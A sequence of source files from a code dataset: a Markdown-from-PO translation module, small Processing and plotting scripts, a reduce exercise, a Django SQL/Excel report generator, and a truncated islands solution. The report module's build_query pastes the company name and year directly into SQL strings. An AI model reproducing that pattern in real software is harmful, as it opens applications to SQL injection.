self.command_aliases[original_command]\n except KeyError: # not custom command\n command = original_command\n\n # process solved command\n self.command(command, comment, original_command)\n\n def _escape_translation(self, text):\n if self._aimg_title_inside_current_msgid:\n # escape '\"' characters inside links and image titles\n text = escape_links_titles(text)\n return text\n\n def _translate_msgid(self, msgid, msgctxt, tcomment):\n try:\n if msgctxt:\n msgstr = self.translations_with_msgctxt[msgctxt][msgid]\n else:\n msgstr = self.translations[msgid]\n except KeyError:\n return msgid\n else:\n self.translated_entries.append(\n polib.POEntry(\n msgid=msgid,\n msgctxt=msgctxt,\n msgstr=msgstr,\n tcomment=tcomment,\n ),\n )\n return msgstr or msgid\n\n def _save_current_msgid(self):\n # raise 'msgid' event\n if raise_skip_event(\n self.events,\n 'msgid',\n self,\n self._current_msgid,\n None,\n self._current_msgctxt,\n self._current_tcomment,\n [],\n ):\n return\n\n if (not self._disable and not self._disable_next_line) or \\\n self._enable_next_line:\n translation = self._translate_msgid(\n self._current_msgid,\n self._current_msgctxt,\n self._current_tcomment,\n )\n else:\n translation = self._current_msgid\n self.disabled_entries.append(\n polib.POEntry(\n msgid=translation,\n msgstr='',\n msgctxt=self._current_msgctxt,\n tcomment=self._current_tcomment,\n ),\n )\n if self._inside_indented_codeblock:\n new_translation = ''\n for line in translation.splitlines():\n if not line:\n continue\n new_translation += f' {line}\\n'\n translation = new_translation\n else:\n first_line_width_diff = 0\n if self._inside_liblock or self._inside_quoteblock:\n first_line_width_diff = -2\n if self._inside_liblock:\n if self._current_list_type[-1][0] == 'ul':\n if self._current_list_type[-1][-1][-1] is True:\n first_line_width_diff = -6\n else:\n first_line_width_diff = -3\n\n if not self._inside_codeblock:\n indent = ''\n if len(self._current_list_type) > 1:\n indent = ' ' * len(self._current_list_type)\n\n translation = MarkdownSpanWrapper(\n width=self.wrapwidth,\n first_line_width=self.wrapwidth + first_line_width_diff,\n indent=indent,\n md4c_extensions=self.extensions,\n code_start_string=self.code_start_string,\n code_end_string=self.code_end_string,\n italic_start_string_escaped=(\n self.italic_start_string_escaped\n ),\n italic_end_string_escaped=self.italic_end_string_escaped,\n code_start_string_escaped=self.code_start_string_escaped,\n code_end_string_escaped=self.code_end_string_escaped,\n wikilink_start_string=self.wikilink_start_string,\n wikilink_end_string=self.wikilink_end_string,\n ).wrap(self._escape_translation(translation))\n\n if self._inside_hblock or self._inside_table:\n translation = translation.rstrip('\\n')\n\n if translation.rstrip('\\n'):\n self._current_line += translation\n\n self._current_msgid = ''\n self._current_msgctxt = None\n self._current_tcomment = None\n\n self._disable_next_line = False\n self._enable_next_line = False\n\n self._codespan_inside_current_msgid = False\n self._aimg_title_inside_current_msgid = False\n\n def _save_current_line(self):\n # strip all spaces according to unicodedata database ignoring newlines,\n # see https://docs.python.org/3/library/stdtypes.html#str.splitlines\n self._outputlines.append(self._current_line.rstrip(' \\v\\x0b\\f\\x0c'))\n self._current_line = ''\n\n def enter_block(self, block, details):\n # raise 'enter_block' event\n if raise_skip_event( # pragma: no cover\n self.events,\n 'enter_block',\n self, block,\n details,\n ):\n return\n\n if self._inside_quoteblock and (\n not self._current_line or self._current_line[0] != '>'\n ):\n self._current_line += '> '\n if block is md4c.BlockType.P:\n self._inside_pblock = True\n elif block is md4c.BlockType.CODE:\n self._inside_codeblock = True\n indent = ''\n\n if self._inside_liblock:\n self._save_current_msgid()\n if self._current_line:\n self._save_current_line()\n indent += ' ' * len(self._current_list_type)\n\n if details['fence_char'] is not None:\n self._current_line += '{}{}'.format(\n indent,\n details['fence_char']*3,\n )\n if details['lang']:\n self._current_line += details['lang'][0][1]\n else:\n self._inside_indented_codeblock = True\n\n if self._current_line:\n self._save_current_line()\n elif block is md4c.BlockType.H:\n self._inside_hblock = True\n self._current_line += '%s ' % ('#' * details['level'])\n elif block is md4c.BlockType.LI:\n if self._current_list_type[-1][0] == 'ol':\n # inside OL\n if len(self._ol_marks) > 1:\n self._save_current_msgid()\n if not self._ol_marks[-1][0]:\n self._save_current_line()\n self._ol_marks[-1][0] += 1\n self._current_line += '{}1{} '.format(\n ' ' * (len(self._current_list_type) - 1),\n self._ol_marks[-1][1],\n )\n self._current_list_type[-1][-1].append(False)\n else:\n # inside UL\n self._current_line += '{}{} '.format(\n ' ' * (len(self._current_list_type) - 1),\n self._ul_marks[-1],\n )\n if details['is_task']:\n self._current_line += '[%s] ' % details['task_mark']\n self._current_list_type[-1][-1].append(details['is_task'])\n self._inside_liblock = True\n self._inside_liblock_first_p = True\n elif block is md4c.BlockType.UL:\n if self._current_list_type:\n self._save_current_msgid()\n self._save_current_line()\n self._current_list_type.append(['ul', []])\n self._ul_marks.append(details['mark'])\n elif block is md4c.BlockType.OL:\n self._current_list_type.append(['ol', []])\n self._ol_marks.append([0, details['mark_delimiter']])\n elif block is md4c.BlockType.HR:\n if not self._inside_liblock:\n self._current_line += '---\\n\\n'\n else:\n # inside lists, the separator '---' can't be used\n self._current_line += '***'\n elif block is md4c.BlockType.TR:\n self._current_line += ' ' * len(self._current_list_type)\n if self._current_line.startswith('> '):\n self._current_line = self._current_line.replace('> ', '')\n elif block is md4c.BlockType.TH:\n if self._inside_quoteblock:\n if not self._current_line.replace(' ', '') == '>':\n self._current_line = removesuffix(self._current_line, '> ')\n self._current_line += '| '\n self._current_thead_aligns.append(details['align'].value)\n elif block is md4c.BlockType.TD:\n if self._inside_quoteblock:\n if not self._current_line.replace(' ', '') == '>':\n self._current_line = removesuffix(self._current_line, '> ')\n self._current_line += '| '\n elif block is md4c.BlockType.QUOTE:\n if self._inside_liblock:\n self._save_current_msgid()\n self._save_current_line()\n self._inside_quoteblock = True\n elif block is md4c.BlockType.TABLE:\n self._inside_table = True\n if self._current_list_type and not self._inside_quoteblock:\n self._save_current_line()\n elif block is md4c.BlockType.HTML:\n self._inside_htmlblock = True\n\n def leave_block(self, block, details):\n # raise 'leave_block' event\n if raise_skip_event( # pragma: no cover\n self.events,\n 'leave_block',\n self,\n block,\n details,\n ):\n return\n\n if block is md4c.BlockType.P:\n self._save_current_msgid()\n\n if self._inside_liblock:\n if self._inside_quoteblock:\n self._current_line = '{}{}'.format(\n ' ' * len(self._current_list_type),\n self._current_line,\n )\n self._save_current_line()\n else:\n if self._inside_liblock_first_p:\n self._inside_liblock_first_p = False\n else:\n self._current_line = '\\n{}{}'.format(\n ' ' * len(self._current_list_type),\n self._current_line,\n )\n self._save_current_line()\n else:\n self._save_current_line()\n\n self._inside_pblock = False\n if self._inside_quoteblock:\n self._current_line = '>'\n self._save_current_line()\n\n elif block is md4c.BlockType.CODE:\n self._save_current_msgid()\n self._inside_codeblock = False\n\n indent = ''\n if self._inside_liblock:\n indent += ' ' * len(self._current_list_type)\n self._current_line = self._current_line.rstrip('\\n')\n self._save_current_line()\n if not self._inside_indented_codeblock:\n self._current_line += '{}{}'.format(\n indent,\n details['fence_char']*3,\n )\n\n self._save_current_line()\n if not self._inside_liblock:\n # prevent two newlines after indented code block\n if not self._inside_indented_codeblock:\n self._save_current_line()\n self._inside_indented_codeblock = False\n elif block is md4c.BlockType.H:\n self._save_current_msgid()\n if not self._inside_quoteblock:\n self._current_line += '\\n'\n else:\n self._current_line += '\\n> '\n self._save_current_line()\n if self._inside_quoteblock:\n self._current_line += '> '\n self._inside_hblock = False\n elif block is md4c.BlockType.LI:\n self._save_current_msgid()\n self._inside_liblock = False\n if self._current_line:\n self._save_current_line()\n elif block is md4c.BlockType.UL:\n self._ul_marks.pop()\n self._current_list_type.pop()\n if self._inside_quoteblock:\n self._current_line += '> '\n if not self._ul_marks and self._outputlines[-1]:\n self._save_current_line()\n elif block is md4c.BlockType.OL:\n self._ol_marks.pop()\n self._current_list_type.pop()\n if self._inside_quoteblock:\n self._current_line += '> '\n if not self._ol_marks and self._outputlines[-1]:\n self._save_current_line()\n elif block is md4c.BlockType.TH or block is md4c.BlockType.TD:\n self._save_current_msgid()\n self._current_line += ' '\n elif block is md4c.BlockType.TR:\n if not self._current_thead_aligns:\n self._current_line += '|'\n self._save_current_line()\n elif block is md4c.BlockType.THEAD:\n # build thead separator\n thead_separator = ''\n if self._inside_quoteblock:\n _thead_split = re.split(r'[^\\\\](\\|)', self._current_line)\n if self._current_list_type:\n _thead_split = _thead_split[1:]\n self._current_line += '|'\n thead_separator += '> '\n else:\n self._current_line += '|'\n _thead_split = re.split(r'[^\\\\](\\|)', self._current_line)\n if self._current_list_type:\n _thead_split = _thead_split[1:-1]\n thead_separator += '| '\n\n _antepenultimate_thead_i = len(_thead_split) - 2\n for i, title in enumerate(_thead_split):\n if (i % 2) != 0 or i > _antepenultimate_thead_i:\n continue\n align = self._current_thead_aligns.pop(0)\n thead_separator += '{}-{}'.format(\n '-' if align in [0, 3] else ':',\n '-' if align in [0, 1] else ':',\n )\n\n thead_separator += ' |'\n if i < len(_thead_split) - 3:\n thead_separator += ' '\n\n self._current_line += '\\n{}{}'.format(\n ' ' * len(self._current_list_type),\n thead_separator,\n )\n self._save_current_line()\n elif block is md4c.BlockType.QUOTE:\n if self._outputlines[-1] == '>':\n self._outputlines.pop()\n if not self._inside_liblock:\n self._save_current_line()\n self._inside_quoteblock = False\n elif block is md4c.BlockType.TABLE:\n if not self._inside_quoteblock and not self._current_list_type:\n self._save_current_line()\n self._inside_table = False\n elif block is md4c.BlockType.HTML:\n self._inside_htmlblock = False\n\n def enter_span(self, span, details):\n # raise 'enter_span' event\n if raise_skip_event( # pragma: no cover\n self.events,\n 'enter_span',\n self,\n span,\n details,\n ):\n return\n\n if self._inside_aspan: # span inside link text\n try:\n self._current_aspan_text += self._enterspan_replacer[\n span.value\n ]\n except KeyError:\n pass\n else:\n try:\n self._current_msgid += self._enterspan_replacer[span.value]\n except KeyError:\n pass\n\n if span is md4c.SpanType.A:\n self._inside_aspan = True\n\n if self._link_references is None:\n self._link_references = parse_link_references(self.content)\n\n self._current_aspan_href = details['href'][0][1]\n self._current_aspan_ref_target = None\n\n if details['title']:\n current_aspan_title = details['title'][0][1]\n for target, href, title in self._link_references:\n if (\n href == self._current_aspan_href and\n title == current_aspan_title\n ):\n self._current_aspan_ref_target = target\n break\n else:\n for target, href, title in self._link_references:\n if href == self._current_aspan_href:\n self._current_aspan_ref_target = target\n break\n\n elif span is md4c.SpanType.CODE:\n self._inside_codespan = True\n self._codespan_start_index = len(self._current_msgid)-1\n self._codespan_inside_current_msgid = True\n elif span is md4c.SpanType.IMG:\n self._current_imgspan['title'] = '' if not details['title'] \\\n else details['title'][0][1]\n self._current_imgspan['src'] = details['src'][0][1]\n self._current_imgspan['text'] = ''\n elif span is md4c.SpanType.WIKILINK:\n self._current_wikilink_target = details['target'][0][1]\n\n def leave_span(self, span, details):\n # raise 'leave_span' event\n if raise_skip_event( # pragma: no cover\n self.events,\n 'leave_span',\n self,\n span,\n details,\n ):\n return\n\n if span is md4c.SpanType.WIKILINK:\n self._current_msgid += polib.escape(self._current_wikilink_target)\n self._current_wikilink_target = None\n\n if self._inside_aspan: # span inside link text\n try:\n self._current_aspan_text += self._leavespan_replacer[\n span.value\n ]\n except KeyError:\n pass\n else:\n try:\n self._current_msgid += self._leavespan_replacer[span.value]\n except KeyError:\n pass\n\n if span is md4c.SpanType.A:\n if self._current_aspan_ref_target: # referenced link\n self._current_msgid += '[{}][{}]'.format(\n self._current_aspan_text,\n self._current_aspan_ref_target,\n )\n self._current_aspan_ref_target = None\n else:\n if self._current_aspan_text == self._current_aspan_href:\n # autolink vs link clash (see implementation notes)\n self._current_msgid += f'<{self._current_aspan_text}'\n if details['title']:\n self._current_msgid += ' \"{}\"'.format(\n polib.escape(details['title'][0][1]),\n )\n self._current_msgid += '>'\n elif self._current_aspan_href:\n self._current_msgid += '[{}]({}'.format(\n self._current_aspan_text,\n self._current_aspan_href,\n )\n if details['title']:\n self._aimg_title_inside_current_msgid = True\n self._current_msgid += ' \"{}\"'.format(\n polib.escape(details['title'][0][1]),\n )\n self._current_msgid += ')'\n self._current_aspan_href = None\n self._inside_aspan = False\n self._current_aspan_text = ''\n elif span is md4c.SpanType.CODE:\n self._inside_codespan = False\n self._current_msgid += (\n self._codespan_backticks * self.code_end_string\n )\n self._codespan_backticks = None\n elif span is md4c.SpanType.IMG:\n self._current_msgid += '![{}]({}'.format(\n self._current_imgspan['text'],\n self._current_imgspan['src'],\n )\n if self._current_imgspan['title']:\n self._current_msgid += ' \"%s\"' % polib.escape(\n self._current_imgspan['title'],\n )\n self._current_msgid += ')'\n self._current_imgspan = {}\n\n def text(self, block, text):\n # raise 'text' event\n if raise_skip_event( # pragma: no cover\n self.events,\n 'text',\n self,\n block,\n text,\n ):\n return\n\n if not self._inside_htmlblock:\n if not self._inside_codeblock:\n if self._inside_liblock and text == '\\n':\n text = ' '\n if self._current_imgspan:\n self._current_imgspan['text'] = text\n return\n elif self._inside_codespan:\n self._codespan_backticks = min_not_max_chars_in_a_row(\n self.code_start_string,\n text,\n ) - 1\n self._current_msgid = '{}{}{}'.format(\n self._current_msgid[:self._codespan_start_index],\n self._codespan_backticks * self.code_start_string,\n self._current_msgid[self._codespan_start_index:],\n )\n if self._inside_aspan:\n self._current_aspan_text += text\n return\n elif self._inside_aspan:\n self._current_aspan_text += text\n return\n elif text == self.italic_start_string:\n text = self.italic_start_string_escaped\n elif text == self.code_start_string:\n text = self.code_start_string_escaped\n elif text == self.code_end_string: # pragma: no cover\n text = self.code_end_string_escaped\n elif text == self.italic_end_string: # pragma: no cover\n text = self.italic_end_string_escaped\n\n if self._inside_pblock:\n text = text.replace('\\n', ' ')\n if text == self._current_aspan_href:\n # self-referenced wiki or inline link\n self._current_aspan_href = None\n\n elif self._current_wikilink_target:\n if text != self._current_wikilink_target:\n self._current_wikilink_target = '{}|{}'.format(\n self._current_wikilink_target, text,\n )\n return\n self._current_msgid += text\n else:\n if self._inside_liblock:\n indent = ' ' * len(self._current_list_type)\n if self._current_line[:len(indent)+1] != indent:\n self._current_line += indent\n self._current_msgid += text\n else:\n self._process_command(text)\n\n def _append_link_references(self):\n if self._link_references:\n self._disable_next_line = False\n self._disable = False\n\n # 'link_reference' event\n pre_events = self.events.get('link_reference')\n\n _references_added = [] # don't repeat references\n for target, href, title in self._link_references:\n if pre_events:\n skip = False\n for event in pre_events:\n if event(self, target, href, title) is False:\n skip = True\n if skip:\n continue\n\n href_part = '{}{}'.format(\n f' {href}' if href else '',\n f' \"{title}\"' if title else '',\n )\n if href_part in _references_added:\n continue\n\n msgid = '{}{}'.format(f'[{target}]:', href_part)\n self._outputlines.append(\n self._translate_msgid(msgid, None, None),\n )\n _references_added.append(href_part)\n self._outputlines.append('')\n\n def translate(\n self,\n filepath_or_content,\n save=None,\n md_encoding='utf-8',\n ):\n self.content = to_file_content_if_is_file(\n filepath_or_content,\n encoding=md_encoding,\n )\n\n self.translations, self.translations_with_msgctxt = (\n pofiles_to_unique_translations_dicts(self.pofiles)\n )\n\n parser = md4c.GenericParser(\n 0,\n **{ext: True for ext in self.extensions},\n )\n parser.parse(\n self.content,\n self.enter_block,\n self.leave_block,\n self.enter_span,\n self.leave_span,\n self.text,\n )\n self._append_link_references() # add link references to the end\n\n self._disable_next_line = False\n self._disable = False\n self._enable_next_line = False\n self._link_references = None\n\n self.output = '\\n'.join(self._outputlines)\n\n if save:\n if self._saved_files_changed is False: # pragma: no cover\n self._saved_files_changed = save_file_checking_file_changed(\n save,\n self.output,\n encoding=md_encoding,\n )\n else:\n with open(save, 'w', encoding=md_encoding) as f:\n f.write(self.output)\n return self.output\n\n\ndef pofile_to_markdown(\n filepath_or_content,\n pofiles,\n ignore=[],\n save=None,\n md_encoding='utf-8',\n po_encoding=None,\n command_aliases={},\n wrapwidth=80,\n events={},\n debug=False,\n **kwargs,\n):\n r\"\"\"Translate Markdown content or file using PO files as reference.\n\n This implementation reproduces the same valid Markdown output, given the\n provided AST, with replaced translations, but doesn't rebuilds the same\n input format as Markdown is just a subset of HTML.\n\n Args:\n filepath_or_content (str): Markdown filepath or content to translate.\n pofiles (str, list) Glob or list of globs matching a set of pofiles\n from where to extract messages to make the replacements translating\n strings.\n ignore (list): Paths of pofiles to ignore. Useful when a glob does not\n fit your requirements indicating the files to extract content.\n Also, filename or a dirname can be defined without indicate the\n full path.\n save (str): Saves the output content in file whose path is specified\n at this parameter.\n md_encoding (str): Markdown content encoding.\n po_encoding (str): PO files encoding. If you need different encodings\n for each file, you must define it in the \"Content-Type\" field of\n each PO file metadata, in the form\n ``\"Content-Type: text/plain; charset=\\n\"``.\n command_aliases (dict): Mapping of aliases to use custom mdpo command\n names in comments. The ``mdpo-`` prefix in command names resolution\n is optional. For example, if you want to use ````\n instead of ````, you can pass the dictionaries\n ``{\"mdpo-on\": \"mdpo-enable\"}`` or ``{\"mdpo-on\": \"enable\"}`` to this\n parameter.\n wrapwidth (int): Maximum width used rendering the Markdown output.\n events (dict): Preprocessing events executed during the translation\n process. You can use these to customize the output. Takes functions\n are values. If one of these functions returns ``False``, that part\n of the translation process is skipped by po2md. The available\n events are:\n\n * ``enter_block(self, block, details)``: Executed when the parsing\n a Markdown block starts.\n * ``leave_block(self, block, details)``: Executed when the parsing\n a Markdown block ends.\n * ``enter_span(self, span, details)``: Executed when the parsing of\n a Markdown span starts.\n * ``leave_span(self, span, details)``: Executed when the parsing of\n a Markdown span ends.\n * ``text(self, block, text)``: Executed when the parsing of text\n starts.\n * ``command(self, mdpo_command, comment, original command)``:\n Executed when a mdpo HTML command is found.\n * ``msgid(self, msgid, msgstr, msgctxt, tcomment, flags)``:\n Executed when a msgid is going to be replaced.\n * ``link_reference(self, target, href, title)``: Executed when each\n reference link is being written in the output (at the end of the\n translation process).\n debug (bool): Add events displaying all parsed elements in the\n translation process.\n\n Returns:\n str: Markdown output file with translated content.\n \"\"\"\n return Po2Md(\n pofiles,\n ignore=ignore,\n po_encoding=po_encoding,\n command_aliases=command_aliases,\n wrapwidth=wrapwidth,\n events=events,\n debug=debug,\n **kwargs,\n ).translate(\n filepath_or_content,\n save=save,\n md_encoding=md_encoding,\n )\n","sub_path":"mdpo/po2md/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":38504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"304550993","text":"import math\nfrom PieChart import PieChartElement\n\ncharts = None\n\ndef setup():\n size(600, 600)\n \n global charts\n charts = []\n charts.append(PieChartElement(color(255, 30, 30), (300, 300), 100, (0, math.pi / 2)))\n charts.append(PieChartElement(color(30, 255, 30), (300, 300), 100, (math.pi / 2, math.pi * 2)))\n \ndef draw():\n background(0, 0, 0)\n if mousePressed:\n fill(0)\n else:\n fill(255)\n \n global charts\n for chart in charts:\n chart.draw(False)\n \n for chart in charts:\n chart.draw(True)\n \ndef mouseMoved():\n global charts\n for chart in charts:\n chart.mouseMoved((mouseX, mouseY))\n redraw()","sub_path":"Chart/Chart.pyde","file_name":"Chart.pyde","file_ext":"pyde","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"466884809","text":"# 우리동네 인구 구조를 그래프로 출력\n\nimport csv\nimport matplotlib.pyplot as plt\n\nf = open('age.csv', encoding='cp949')\ndata = csv.reader(f)\nresult = []\n\nfor row in data:\n if '1121500000' in row[0]:\n for i in row[3:]:\n ch = i.replace(',','')\n result.append(int(ch))\n\nplt.title('Population of our neighborhood')\nplt.plot(result, 'red')\nplt.show()\n\n","sub_path":"test06.py","file_name":"test06.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"447993027","text":"\n# 3. Write a Python function to multiply all the numbers in a list.\nfrom functools import reduce\n\ndef product_list(given_list):\n\n result= reduce(lambda x , y : x * y , given_list)\n return result\n\nresult = product_list([8, 2, 3, -1, 7])\nprint(f'Product: {result}')","sub_path":"Func_ques3.py","file_name":"Func_ques3.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"23539907","text":"# coding=utf-8\nfrom order.models import Order, OrderLine, ReceivingLine, Invoice\nfrom document.models import Document, DocumentLineItem\nfrom payment.models import Payment\nfrom django.db.models import Q, Sum\nfrom django.http import HttpResponse\nfrom django.db import connection\nfrom report.vendor_account import dictfetchall\nfrom decimal import *\nimport xlwt\nimport datetime\nezxf = xlwt.easyxf\nfrom xlwt import *\nfrom xplugin.excel.excel_util import write_details, getNewBorder, write_line, write_two_lines\n\ndef build_query(year, company):\n ##for mysql\n query = \"\"\"SELECT company.name AS company_name, \n project.name AS project_name, \n project.material_amount AS estimate_total,\n \n (sum(case when YEAR(checkaccount.end_date) < {0} and YEAR(checkaccount.end_date) <> 2014 then receiving.total else 0 end) \n + IFNULL(setting.before_2015_amount,0)\n + IFNULL(project.one_month_amount,0)\n )as 'before_current_year_amount',\n \n (case when 2015 = {0} then project.one_month_amount\n else sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='01' then receiving.total else 0 end) end) as 'one_month',\n \n (case when 2015 = {0} then project.two_month_amount\n else sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='02' then receiving.total else 0 end) end) as 'two_month',\n \n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='03' then receiving.total else 0 end) as 'three_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='04' then receiving.total else 0 end) as 'four_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='05' then receiving.total else 0 end) as 'five_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='06' then receiving.total else 0 end) as 'six_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='07' then receiving.total else 0 end) as 'seven_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='08' then receiving.total else 0 end) as 'eight_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='09' then receiving.total else 0 end) as 'night_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='10' then receiving.total else 0 end) as 'ten_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='11' then receiving.total else 0 end) as 'eleven_month',\n sum(case when YEAR(checkaccount.end_date) = {0} and MONTH(checkaccount.end_date)='12' then receiving.total else 0 end) as 'twelve_month'\n \n FROM project_project project\n LEFT JOIN setting_projectsetting setting ON\n project.id = setting.project_id\n LEFT JOIN project_company company ON\n project.company_id = company.id\n LEFT JOIN order_order orders ON\n project.id = orders.project_id\n LEFT JOIN order_orderline orderline ON\n orders.id = orderline.order_id\n LEFT JOIN order_receivingline receiving ON\n orderline.id = receiving.orderLine_id\n LEFT JOIN order_checkaccount checkaccount ON\n receiving.checkAccount_id = checkaccount.id\n AND YEAR(checkaccount.end_date)<= '{0}'\n AND receiving.checkAccount_id is not null\n \n \"\"\".format(year)\n \n if len(company)>0:\n query += \" WHERE company.name = '%s'\" % company\n \n query += \" GROUP BY company.id, project.id ORDER BY project.id DESC\"\n \n print(query)\n return query\n \ndef get_project_used_list(year, company):\n query = build_query(year, company)\n \n rows= []\n c = connection.cursor()\n try:\n c.execute(query)\n rows = dictfetchall(c)\n finally:\n c.close()\n \n sum_line = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n \n index = 0\n for line in rows:\n index += 1\n line['index'] = index\n sum_line[0] += line['estimate_total'] or 0\n sum_line[1] += (line['before_current_year_amount'] or 0)\n sum_line[2] += (line['one_month'] or 0)\n sum_line[3] += (line['two_month'] or 0)\n sum_line[4] += line['three_month']\n sum_line[5] += line['four_month']\n sum_line[6] += line['five_month']\n sum_line[7] += line['six_month']\n sum_line[8] += line['seven_month']\n sum_line[9] += line['eight_month']\n sum_line[10] += line['night_month']\n sum_line[11] += line['ten_month']\n sum_line[12] += line['eleven_month']\n sum_line[13] += line['twelve_month']\n \n line['total'] = (line['before_current_year_amount'] or 0) + (line['one_month'] or 0) + (line['two_month'] or 0)+ \\\n line['three_month'] + line['four_month'] + line['five_month'] + line['six_month'] + \\\n line['seven_month'] + line['eight_month'] + line['night_month'] + line['ten_month'] + \\\n line['eleven_month'] + line['twelve_month']\n \n percent = line['total']/line['estimate_total'] * Decimal(100.0) if line['total'] != 0 and line['estimate_total'] != 0 and line['estimate_total'] is not None else 0.00\n \n line['percent'] = (\"%.2f\" % percent)\n sum_line[14] += (line['total'] or 0)\n \n \n \n result = {}\n result['lines'] = rows\n if len(rows) > 0:\n result['sum_line'] = sum_line\n \n result['year'] = year\n result['company'] = company\n return result\n\n\ndef write_project_used_list(sheet, result, rowx):\n detail_head = [u'序号', u'工程名称', u'预算成本', u'本年之前已用量', u'1月', u'2月', u'3月', u'4月', u'5月', u'6月', u'7月', u'8月', u'9月', u'10月', u'11月', u'12月', u'合计', u'用量百分比']\n head_width = [0x0d00, 0x0d00, 5000, 5000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 5000, 4000,]\n merge_col = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n kinds = 'int text price price price price price price price price price price price price price price price price'.split()\n style= [ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz left'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right'),\n ezxf('font:bold on, height 240; align: wrap on, vert centre, horiz right')\n ]\n \n heading_xf = {'style' : style,\n 'width' : head_width,\n 'merge_col' : merge_col}\n data_format = 'font: height 240; align: wrap on, vert centre, horiz left'\n number_format = 'font: height 240; align: wrap on, vert centre, horiz right'\n kind_to_xf_map = {\n 'date': ezxf(data_format ,num_format_str='yyyy-mm-dd'),\n 'int': ezxf(number_format, num_format_str='#,##0'),\n 'money': ezxf(number_format ,num_format_str='#,##0.00'),\n 'price': ezxf(number_format,num_format_str='#0.00'),\n 'text': ezxf(data_format),\n }\n data_xfs = [kind_to_xf_map[k] for k in kinds]\n \n data = []\n for line in result['lines']:\n row = []\n row.append(line['index'])\n row.append(line['project_name'])\n row.append(line['estimate_total'])\n row.append(line['before_current_year_amount'])\n row.append(line['one_month'])\n row.append(line['two_month'])\n row.append(line['three_month'])\n row.append(line['four_month'])\n row.append(line['five_month'])\n row.append(line['six_month'])\n row.append(line['seven_month'])\n row.append(line['eight_month'])\n row.append(line['night_month'])\n row.append(line['ten_month'])\n row.append(line['eleven_month'])\n row.append(line['twelve_month'])\n row.append(line['total'])\n percent = str(line['percent']) + '%' \n row.append(percent)\n data.append(row)\n \n write_details(sheet, rowx, detail_head, data, heading_xf, data_xfs)\n \ndef generate_project_used_list(result):\n book = xlwt.Workbook(encoding='utf-8')\n sheet = book.add_sheet(\"project_used\")\n report_title = str(result['year']) + '年消防在建工程材料表' \n report_title_xf = ezxf('font: bold on, height 400; align: wrap on, vert centre, horiz center') \n \n sheet.write_merge(0, 2, 0, 17, report_title, report_title_xf)\n \n write_two_lines(sheet, 3, 17)\n \n \n write_project_used_list(sheet, result, 4)\n \n rowx = 4 + len(result['lines']) + 1\n write_line(sheet, rowx, 17)\n \n report_subtitle = u'合计'\n report_subtitle_xf = ezxf('font: height 240; align: wrap on, vert centre, horiz center')\n \n rowx = rowx+1\n sheet.write_merge(rowx, rowx+1, 0, 1, report_subtitle, report_subtitle_xf)\n \n data_format = 'font: height 240; align: wrap on, vert centre, horiz right' \n report_subtitle_xf = ezxf(data_format, num_format_str='#,##0.00')\n \n #write 合计\n col = 2\n for data in result['sum_line']:\n sheet.write_merge(rowx, rowx+1, col, col, data, report_subtitle_xf)\n col += 1\n \n \n return book \n","sub_path":"report/project_used.py","file_name":"project_used.py","file_ext":"py","file_size_in_byte":11047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"379273909","text":"class Solution(object):\n\tdef numIslands(self, grid):\n\t\t\"\"\"\n\t\t:type grid: List[List[str]]\n\t\t:rtype: int\n\t\t\"\"\"\n\t\theight = len(grid)\n\t\tif(height == 0):\n\t\t\treturn 0\n\t\tlength = len(grid[0])\n\t\tif(length == 0):\n\t\t\treturn 0\n\t\t# print('height = %d, length = %d'%(height, length))\n\t\tstart_point = self.findFirst(grid, 0, height)\n\t\tcnt = 0\n\t\twhile(start_point != (-1, -1)):\n\t\t\t# print('this is a new turn, start_point is (%d, %d)'%start_point)\n\t\t\tself.changeGrid(grid, start_point, height, length)\n\t\t\tstart_point = self.findFirst(grid, 